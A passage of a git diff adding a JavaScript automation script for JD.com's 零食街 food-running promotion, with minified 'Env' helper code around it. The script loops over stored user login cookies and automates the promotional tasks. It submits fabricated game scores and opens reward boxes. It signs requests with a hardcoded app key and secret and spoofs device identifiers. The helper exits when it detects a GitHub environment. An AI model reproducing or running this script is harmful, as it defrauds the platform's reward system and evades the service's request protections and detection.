r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_foodRunning.js b/backUp/jd_foodRunning.js new file mode 100644 index 0000000..e88a27b --- /dev/null +++ b/backUp/jd_foodRunning.js @@ -0,0 +1,483 @@ +/* +* 路径:京东APP-》美食馆-》右侧瓜分京豆 +* cron 18 7,20 * * * +* */ +const $ = new Env('零食街'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; +$.helpCodes = []; +$.useInfo = {}; +//是否加购物车 +//const addCarFlag = $.isNode() ? (process.env.ADD_CAR ? process.env.ADD_CAR : true):true; +let cookiesArr = []; +$.appkey = `51B59BB805903DA4CE513D29EC448375`; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main(); + await $.wait(2000); + } + + // console.log(`\n开始账号内互助\n`); + // for (let i = 0; i < cookiesArr.length; i++) { + // $.cookie = cookiesArr[i]; + // $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + // if(!$.useInfo[$.UserName]) continue; + // $.thisNick = $.useInfo[$.UserName]; + // $.canHelp = true; + // for (let j = 0; j < $.helpCodes.length && $.canHelp; j++) { + // $.oneCodeInfo = $.helpCodes[j]; + // if($.UserName === $.oneCodeInfo.usr || $.oneCodeInfo.max){ + // continue; + // } + // console.log(`${$.UserName}去助力${$.oneCodeInfo.usr}`); + // await takePostRequest('help'); + // await $.wait(5000) + // } + // } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); + +async function main() { + $.token = ''; + await getToken(); + if($.token){ + console.log(`Token:${$.token}`); + }else { + console.log(`获取Token失败`); + return; + } + await $.wait(500); + $.thisNick = ""; + await takePostRequest('setMixNick'); + await $.wait(500); + $.missionType = 'pv'; + await takePostRequest('foodRunningStats'); + await $.wait(2000); + if($.thisNick){ + console.log(`助力码:${$.thisNick}`); + $.useInfo[$.UserName] = $.thisNick; + }else{ + console.log(`获取活动详情失败`); + return; + } + // let todayString = new Date(new Date().toLocaleDateString()).getTime(); + // $.myInviteList = []; + // await takePostRequest('MyInviteList'); + // let needHelpTime = 3; + // for ( i = 0; i < $.myInviteList.length; i++) { + // if(Number($.myInviteList[i].created) > Number(todayString)){ + // needHelpTime--; + // } + // } + // if(Number(needHelpTime)>0){ + // console.log(`还需要3次助力`) + // $.helpCodes.push({'usr':$.UserName, 'code':$.thisNick, 'max':false,'needHelpTime':needHelpTime}); + // } + await $.wait(3000); + $.taskList = []; + await takePostRequest('DailyTask'); + //console.log(JSON.stringify($.taskList)); + await doTask(); + await $.wait(3000); + $.sendCoinInfo = {}; + await takePostRequest('SendCoinNum'); + if(JSON.stringify($.sendCoinInfo) === '{}'){ + console.log(`获取首页树数据失败`) + }else{ + $.getWhich = $.sendCoinInfo.which; + if($.getWhich.length === 3){ + console.log(`首页树金币已全领取`); + }else{ + for (let i = 0; i < 3; i++) { + $.treeNumber = i; + if($.getWhich.includes(i)){ + console.log(`首页树金币,第${i+1}次,已领取`); + continue; + } + console.log(`首页树金币,开始第${i+1}次,领取`); + await takePostRequest('dotree'); + await $.wait(500); + $.missionType = 'treeCoin'; + await takePostRequest('foodRunningStats'); + await $.wait(5000); + } + } + } + console.log(`开始玩一次游戏,等待10S`); + await $.wait(10000); + await takePostRequest('SendCoin'); + $.missionType = 'finishGame'; + await takePostRequest('foodRunningStats'); + await $.wait(2000); + $.boxStatusList = []; + await takePostRequest('ThreeBoxStatus'); + //console.log(JSON.stringify($.boxStatusList)); + await $.wait(3000); + await openBox(); +} +async function openBox(){ + for (let i = 0; i < $.boxStatusList.length; i++) { + $.oneBoxInfo = $.boxStatusList[i]; + if($.oneBoxInfo.openStatus && !$.oneBoxInfo.sendStatus){ + console.log(`打开第${i+1}个宝箱;`); + await takePostRequest('OpenBox'); + await $.wait(5000); + }else{ + console.log(`第${i+1}个宝箱,已经打开`); + } + } +} + +async function doTask(){ + for (let i = 0; i < $.taskList.length; i++) { + $.oneTaskInfo = $.taskList[i]; + if($.oneTaskInfo.id === '1' || $.oneTaskInfo.id === '2' || $.oneTaskInfo.id === '3'){ + if($.oneTaskInfo.dayTop === $.oneTaskInfo.hasGotNum){ + console.log(`任务:${$.oneTaskInfo.missionName},已完成`); + }else{ + let start = 0; + if($.oneTaskInfo.hasGotNum){ + start = $.oneTaskInfo.hasGotNum; + } + for (let j = start; j < $.oneTaskInfo.dayTop; j++){ + console.log(`执行任务,第${j+1}次,${$.oneTaskInfo.missionName}`); + $.runId = ''; + await takePostRequest(($.oneTaskInfo.type).replace(/( |^)[a-z]/g,(L)=>L.toUpperCase())); + await $.wait(2000); + //console.log(`runId,${$.runId}`); + if($.runId){ + await takePostRequest('complete/mission'); + await $.wait(5000); + } + } + } + }else { + console.log(`任务:${$.oneTaskInfo.missionName},不执行`); + } + // else if(addCarFlag && $.oneTaskInfo.id === '4'){ + // + // $.hotGoodsList = []; + // await takePostRequest('HotGoodsList'); + // } + } +} + +async function takePostRequest(type){ + let url = ''; + let body = ``; + switch (type) { + case 'setMixNick': + case 'DailyTask': + case 'ViewShop': + case 'ViewBanner': + case 'ViewGoods': + url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/${type}?open_id=&mix_nick=&bizExtString=&user_id=10299171`; + body = {"source":"01","strTMMixNick":$.token,"method":"/foodRunning/"+type,"actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":"10299171"}; + break; + case 'complete/mission': + url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/${type}?open_id=&mix_nick=&bizExtString=&user_id=10299171`; + body = {"goodsNumId":$.runId,"missionType":$.oneTaskInfo.type,"method":"/foodRunning/"+type,"actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":"10299171"}; + break; + case 'HotGoodsList': + case 'SendCoinNum': + case 'ThreeBoxStatus': + url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/${type}?open_id=&mix_nick=&bizExtString=&user_id=10299171`; + body = {"method":"/foodRunning/"+type,"actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":"10299171"}; + break; + case 'dotree': + url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`; + body = {"which":$.treeNumber,"missionType":"treeCoin","method": "/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":"10299171"}; + break; + case 'foodRunningStats': + url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/${type}?open_id=&mix_nick=&bizExtString=&user_id=10299171`; + body = {"missionType":$.missionType,"method":"/foodRunning/"+type,"actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":"10299171"}; + break; + case 'SendCoin': + url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/${type}?open_id=&mix_nick=&bizExtString=&user_id=10299171`; + body = {"coin":randomNum(5000,6000),"point":randomNum(10000,15000),"method":"/foodRunning/"+type,"actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":"10299171"}; + break; + case 'OpenBox': + url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/${type}?open_id=&mix_nick=&bizExtString=&user_id=10299171`; + body = {"awardId":$.oneBoxInfo.id,"method":"/foodRunning/"+type,"actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":10299171}; + break; + case 'help': + url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`; + body = {"inviterNick":$.oneCodeInfo.code,"missionType":"inviteFriend","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":10299171}; + break; + case 'MyInviteList': + url = `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/${type}?open_id=&mix_nick=&bizExtString=&user_id=10299171`; + body = {"pageNo":1,"pageSize":5,"method":"/foodRunning/"+type,"actId":"jd_food_running","buyerNick":$.thisNick,"pushWay":1,"userId":10299171}; + break; + default: + console.log(`错误${type}`); + } + let myRequest = getPostRequest(url,body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function randomNum(minNum,maxNum){ + switch(arguments.length){ + case 1: + return parseInt(Math.random()*minNum+1,10); + break; + case 2: + return parseInt(Math.random()*(maxNum-minNum+1)+minNum,10); + break; + default: + return 0; + break; + } +} + +function dealReturn(type, data) { + data = JSON.parse(data); + switch (type) { + case 'setMixNick': + if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ + $.thisNick = data.data.data.msg; + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'DailyTask': + if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ + $.taskList = data.data.data; + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'ViewShop': + case 'ViewBanner': + case 'ViewGoods': + if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ + $.runId = data.data.data.id; + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'complete/mission': + if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ + console.log(`任务完成`); + }else{ + console.log(JSON.stringify(data)); + } + case 'SendCoinNum': + if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ + $.sendCoinInfo = data.data.data + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'HotGoodsList': + if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ + $.hotGoodsList = data.data.data; + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'dotree': + if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ + console.log(`任务完成,获得${data.data.data.sendNum}`); + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'foodRunningStats': + //if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ + //}else{ + console.log(JSON.stringify(data)); + //} + break; + case 'SendCoin': + if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ + console.log(`游戏完成`); + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'ThreeBoxStatus': + if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ + $.boxStatusList = data.data.data; + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'OpenBox': + if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ + console.log(`打开宝箱获得:${data.data.data.msg}`); + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'MyInviteList': + if(data.success && data.errorCode === '200' && data.data && data.data.status && data.data.status === 200){ + $.myInviteList = data.data.data; + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'help': + console.log(JSON.stringify(data)) + if(data.success && data.errorCode === '200'){ + if(data.data.data.remark === `好友助力数量已达上限,无法为好友助力!`){ + $.oneCodeInfo.max = true; + }else if(data.data.data.remark === `已经助力,不能再次助力哦!`){ + //$.oneCodeInfo.max = true; + }else{ + $.canHelp = false; + } + console.log(`${data.data.data.remark}`) + }else if(data.errorCode === '500') { + console.log(data.errorMessage) + } + break; + default: + console.log(JSON.stringify(data)); + } +} + +function getPostRequest(url,body) { + let signInfo = getSign(body); + body = `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"${$.appkey}","m":"POST","sign":"${signInfo.sign}","timestamp":${signInfo.timeStamp},"userId":"10299171"},"admJson":${JSON.stringify(body)}}}`; + const headers = { + 'X-Requested-With' : `XMLHttpRequest`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Content-Type' : `application/json; charset=utf-8`, + 'Origin' : `https://jinggengjcq-isv.isvjcloud.com`, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Cookie": $.cookie, + 'Host' : `jinggengjcq-isv.isvjcloud.com`, + 'Referer' : `https://jinggengjcq-isv.isvjcloud.com/paoku/index.html`, + 'Accept-Language' : `zh-cn`, + 'Accept' : `application/json` + }; + + return {url: url, method: `POST`, headers: headers, body: body}; +} + + +async function getToken() { + return new Promise(async (resolve) => { + let options = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e41523&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt%2FpM7ENipVIQXuRiDyQ0FYw2aud9%20AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=4g&wifiBssid=unknown&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJs2X%2FHz8dwQrKfrmFvPGJYcIhgT3KrbJ2slvZoaufp78QzL4RqQVUgaKH%2Fq7EntlwV7J5l6acE2Wlj2%2Bu6Thwe90cWmtV80fH0yhpOV%2FhYIwvD5N6W1zo3LCVXTcuOw%2BARC%2F6K3bndzn3KzMw%2FpkYzhE2JcXeXiD44r%2BkUMawpn%2Bk7XqSVytdBg%3D%3D&uemps=0-0&st=1624988916642&sign=6a25b389996897b263c70516fc3c71e1&sv=122`, + body: `body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Fjinggengjcq-isv.isvjcloud.com%2Fpaoku%2Findex.html%3Fsid%3D75b413510cb227103e928769818a74ew%26un_area%3D4_48201_54794_0%22%7D&`, + headers: { + "Host": "api.m.jd.com", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Cookie": $.cookie, + } + } + $.post(options, async (err, resp, data) => { + try { + const reust = JSON.parse(data); + if(reust.errcode === 0){ + $.token = reust.token; + }else { + $.log(data) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getSign(t) { + var e = Date.now() + , i = '0282266f9a794112a0ab4ab6c78f8a09' + , o = $.appkey + , s = JSON.stringify(t) + , c = encodeURIComponent(s) + , r = new RegExp("'","g") + , d = new RegExp("~","g"); + c = (c = c.replace(r, "%27")).replace(d, "%7E"); + var h = i + "admjson" + c + "appkey" + o + "m" + t.method + "timestamp" + e + i; + return {sign: $.CryptoJS.MD5(h.toLowerCase()), timeStamp: e} +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: $.cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 